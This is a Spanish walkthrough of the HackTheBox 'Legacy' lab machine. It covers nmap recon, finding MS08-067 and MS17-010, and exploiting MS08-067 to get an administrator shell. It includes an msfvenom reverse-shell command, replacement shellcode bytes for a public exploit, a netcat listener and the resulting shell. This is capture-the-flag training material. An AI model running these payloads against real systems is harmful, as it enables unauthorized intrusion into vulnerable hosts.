HackTheBox - Legacy (Guía)

Máquina de dificultad fácil de la plataforma HackTheBox.



Index



Recon


Lo primero que hacemos, como de costumbre, lanzar un escaneo con nmap para ver que puertos hay abiertos y empezar a trazar un plan de entrada:


# Nmap 7.91 scan initiated Sun Oct  3 13:45:15 2021 as: nmap -p- --min-rate 10000 -v -n -oA nmap_initial 10.129.232.64
Nmap scan report for 10.129.232.64
Host is up (0.032s latency).
Not shown: 65531 filtered ports
PORT     STATE SERVICE
80/tcp   open  http
135/tcp  open  msrpc
445/tcp  open  microsoft-ds
5985/tcp open  wsman

Read data files from: /usr/bin/../share/nmap
# Nmap done at Sun Oct  3 13:45:28 2021 -- 1 IP address (1 host up) scanned in 13.52 seconds

Ahora lanzamos un segundo escaneo, más lento, para intentar sacar las versiones de los puertos que hemos descubierto en el paso anterior:



└─$ nmap -sC -sV -v -Pn -n -p 80,135,445,5985 -oA nmap_versions 10.129.232.94
PORT     STATE    SERVICE      VERSION
80/tcp   filtered http
135/tcp  filtered msrpc
445/tcp  open     microsoft-ds Windows XP microsoft-ds
5985/tcp filtered wsman
Service Info: OS: Windows XP; CPE: cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: 5d00h27m43s, deviation: 2h07m16s, median: 4d22h57m43s
| nbstat: NetBIOS name: nil, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:8a:87 (VMware)
| Names:
|_  
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2021-10-08T22:43:58+03:00
| smb-security-mode: 
|   account_used: guest 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Vemos que hay varios puertos comunes, entre ellos un servidor web en el puerto 80 , el SMB en los puertos 135 y 445 y el winrm en el 5985. No obstante, solo parece accesible el SMB.


Sin salir de nmap, lanzamos un escaneo de vulnerabilidades para ver si sacamos algo jugoso de esos SMB:


└─$ nmap --script vuln -Pn 10.129.232.94
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-03 15:59 EDT
Nmap scan report for 10.129.232.94
Host is up (0.039s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE
139/tcp  open   netbios-ssn
445/tcp  open   microsoft-ds
3389/tcp closed ms-wbt-server

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 43.83 seconds

Bien, tenemos dos posibles vulnerabilidades.

  • MS08-67

  • MS17-010

Empecemos con la primera de todas



Foothold


Podríamos hacerlo de manera automática con Metasploit (probadlo), pero vamos a explotarlo manual.


El link del exploit:

https://github.com/andyacer/ms08_067/blob/master/ms08_067_2018.py


El exploit viene preparado con un buffer overflow listo y medido para que únicamente tengamos que sustituir la payload.


Para crear la nuestra propia:

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.139 LPORT=9999 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows

La diferencia con el código original quedaría así:


└─$ diff exploit.py original_exploit.py 
44,67c44,67
< "\x33\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
< "\x70\xb3\xd6\xe3\x83\xee\xfc\xe2\xf4\x8c\x5b\x54\xe3\x70\xb3"
< "\xb6\x6a\x95\x82\x16\x87\xfb\xe3\xe6\x68\x22\xbf\x5d\xb1\x64"
< "\x38\xa4\xcb\x7f\x04\x9c\xc5\x41\x4c\x7a\xdf\x11\xcf\xd4\xcf"
< "\x50\x72\x19\xee\x71\x74\x34\x11\x22\xe4\x5d\xb1\x60\x38\x9c"
< "\xdf\xfb\xff\xc7\x9b\x93\xfb\xd7\x32\x21\x38\x8f\xc3\x71\x60"
< "\x5d\xaa\x68\x50\xec\xaa\xfb\x87\x5d\xe2\xa6\x82\x29\x4f\xb1"
< "\x7c\xdb\xe2\xb7\x8b\x36\x96\x86\xb0\xab\x1b\x4b\xce\xf2\x96"
< "\x94\xeb\x5d\xbb\x54\xb2\x05\x85\xfb\xbf\x9d\x68\x28\xaf\xd7"
< "\x30\xfb\xb7\x5d\xe2\xa0\x3a\x92\xc7\x54\xe8\x8d\x82\x29\xe9"
< "\x87\x1c\x90\xec\x89\xb9\xfb\xa1\x3d\x6e\x2d\xdb\xe5\xd1\x70"
< "\xb3\xbe\x94\x03\x81\x89\xb7\x18\xff\xa1\xc5\x77\x4c\x03\x5b"
< "\xe0\xb2\xd6\xe3\x59\x77\x82\xb3\x18\x9a\x56\x88\x70\x4c\x03"
< "\xb3\x20\xe3\x86\xa3\x20\xf3\x86\x8b\x9a\xbc\x09\x03\x8f\x66"
< "\x41\x89\x75\xdb\xdc\xe9\x7e\x38\xbe\xe1\x70\x94\xd9\x6a\x96"
< "\xd9\xc6\xb5\x27\xdb\x4f\x46\x04\xd2\x29\x36\xf5\x73\xa2\xef"
< "\x8f\xfd\xde\x96\x9c\xdb\x26\x56\xd2\xe5\x29\x36\x18\xd0\xbb"
< "\x87\x70\x3a\x35\xb4\x27\xe4\xe7\x15\x1a\xa1\x8f\xb5\x92\x4e"
< "\xb0\x24\x34\x97\xea\xe2\x71\x3e\x92\xc7\x60\x75\xd6\xa7\x24"
< "\xe3\x80\xb5\x26\xf5\x80\xad\x26\xe5\x85\xb5\x18\xca\x1a\xdc"
< "\xf6\x4c\x03\x6a\x90\xfd\x80\xa5\x8f\x83\xbe\xeb\xf7\xae\xb6"
< "\x1c\xa5\x08\x36\xfe\x5a\xb9\xbe\x45\xe5\x0e\x4b\x1c\xa5\x8f"
< "\xd0\x9f\x7a\x33\x2d\x03\x05\xb6\x6d\xa4\x63\xc1\xb9\x89\x70"
< "\xe0\x29\x36"
---
> "\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
> "\x42\xf6\xc3\xef\x83\xee\xfc\xe2\xf4\xbe\x1e\x41\xef\x42\xf6"
> "\xa3\x66\xa7\xc7\x03\x8b\xc9\xa6\xf3\x64\x10\xfa\x48\xbd\x56"
> "\x7d\xb1\xc7\x4d\x41\x89\xc9\x73\x09\x6f\xd3\x23\x8a\xc1\xc3"
> "\x62\x37\x0c\xe2\x43\x31\x21\x1d\x10\xa1\x48\xbd\x52\x7d\x89"
> "\xd3\xc9\xba\xd2\x97\xa1\xbe\xc2\x3e\x13\x7d\x9a\xcf\x43\x25"
> "\x48\xa6\x5a\x15\xf9\xa6\xc9\xc2\x48\xee\x94\xc7\x3c\x43\x83"
> "\x39\xce\xee\x85\xce\x23\x9a\xb4\xf5\xbe\x17\x79\x8b\xe7\x9a"
> "\xa6\xae\x48\xb7\x66\xf7\x10\x89\xc9\xfa\x88\x64\x1a\xea\xc2"
> "\x3c\xc9\xf2\x48\xee\x92\x7f\x87\xcb\x66\xad\x98\x8e\x1b\xac"
> "\x92\x10\xa2\xa9\x9c\xb5\xc9\xe4\x28\x62\x1f\x9e\xf0\xdd\x42"
> "\xf6\xab\x98\x31\xc4\x9c\xbb\x2a\xba\xb4\xc9\x45\x09\x16\x57"
> "\xd2\xf7\xc3\xef\x6b\x32\x97\xbf\x2a\xdf\x43\x84\x42\x09\x16"
> "\xbf\x12\xa6\x93\xaf\x12\xb6\x93\x87\xa8\xf9\x1c\x0f\xbd\x23"
> "\x54\x85\x47\x9e\xc9\xe4\x42\x6b\xab\xed\x42\x04\xf3\x66\xa4"
> "\x9c\xd3\xb9\x15\x9e\x5a\x4a\x36\x97\x3c\x3a\xc7\x36\xb7\xe3"
> "\xbd\xb8\xcb\x9a\xae\x9e\x33\x5a\xe0\xa0\x3c\x3a\x2a\x95\xae"
> "\x8b\x42\x7f\x20\xb8\x15\xa1\xf2\x19\x28\xe4\x9a\xb9\xa0\x0b"
> "\xa5\x28\x06\xd2\xff\xee\x43\x7b\x87\xcb\x52\x30\xc3\xab\x16"
> "\xa6\x95\xb9\x14\xb0\x95\xa1\x14\xa0\x90\xb9\x2a\x8f\x0f\xd0"
> "\xc4\x09\x16\x66\xa2\xb8\x95\xa9\xbd\xc6\xab\xe7\xc5\xeb\xa3"
> "\x10\x97\x4d\x23\xf2\x68\xfc\xab\x49\xd7\x4b\x5e\x10\x97\xca"
> "\xc5\x93\x48\x76\x38\x0f\x37\xf3\x78\xa8\x51\x84\xac\x85\x42"
> "\xa5\x3c\x3a"

Nota muy importante: Los exploits relacionados con los buffer overflow a los servicios SMB (especialmente los basados en eternalblue) suelen ser de naturaleza bastante inestable.


Esto quiere decir que la posibilidad de crashear la máquina víctima por cada intento es relativamente alta. Hay algunos exploits que tienen mayor precisión y aseguran algo más el proceso, pero siempre hay que intentar acertar a la primera.


En este caso, el exploit que hemos recopilado viene con un argumento en el comando que nos pide identificar el sistema operativo que usa la máquina víctima. Si volvemos a mirar los reportes anteriores de Nmap, veréis que he marcado en rojo Windows XP.


No he logrado conseguir especificar el SP del OS pero podemos asimilar por los reportes de vulnerabilidad de más arriba que se trata del SP2 o el SP3. Por eliminación, la versión que más se acerca en el exploit es la SP0 o la SP3, dado que sabemos 100% que no se trata de la SP0, solo nos queda una opción.


Vamos a preparar el listener con rlwrap para obtener algunas funcionalidades de consola más estables que si lo hiciéramos directamente con netcat:


└─$ rlwrap nc -lvnp 9999
listening on [any] 9999 ...

Y ahora lanzamos el exploit:


└─$ python exploit.py 10.129.232.94 7 445 
#######################################################################
#   MS08-067 Exploit
#   This is a modified verion of Debasis Mohanty's code (https://www.exploit-db.com/exploits/7132/).
#   The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi
#
#   Mod in 2018 by Andy Acer:
#   - Added support for selecting a target port at the command line.
#     It seemed that only 445 was previously supported.
#   - Changed library calls to correctly establish a NetBIOS session for SMB transport
#   - Changed shellcode handling to allow for variable length shellcode. Just cut and paste
#     into this source file.
#######################################################################

Windows XP SP3 English (AlwaysOn NX)

[-]Initiating connection
[-]connected to ncacn_np:10.129.232.94[\pipe\browser]
Exploit finish

Y aquí nuestra shell:


└─$ rlwrap nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.14.139] from (UNKNOWN) [10.129.232.94] 1044
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>


Obteniendo las flags de User y Admin


La máquina no contempla escalada de privilegios ni similares ya que el propio exploit nos da acceso de administrador. No obstante, el pequeño ejercicio que haremos será el de localizar las dos banderas con el siguiente comando:


dir user.txt /s
 Volume in drive C has no label.
 Volume Serial Number is 54BF-723B

 Directory of C:\Documents and Settings\john\Desktop

16/03/2017  09:19 ��                32 user.txt
               1 File(s)             32 bytes

dir root.txt /s
 Volume in drive C has no label.
 Volume Serial Number is 54BF-723B

 Directory of C:\Documents and Settings\Administrator\Desktop

16/03/2017  09:18 ��                32 root.txt
               1 File(s)             32 bytes

Y ahí tenemos las dos flags.



Post-Mortem


La máquina es bastante accesible y sencilla en términos generales, además de contar de manera bastante obvia con una vulnerabilidad muy recurrida en máquinas de este tipo.

No obstante el 'truco' en esta ocasión está en elegir correctamente la versión del exploit si vas a hacerlo de manera manual.


Personalmente me metí directamente con la vulnerabilidad ms17-010. Había que ejecutar código especial, descargarlo con powershell o cmd y posteriormente ejecutarlo. Al darme bastante problemas y no tener mucha información del output, fue cuando decidí irme a por la vulnerabilidad MS08-067.


Una vez hecho el cambio, fue cuestión de dos intentos al acertar adecuadamente con el Service Pack del sistema operativo.



Descarga Notas y Reporte OSCP


Aquí os dejo las notas que he usado con cherrytree y el PDF en español e inglés en formato OSCP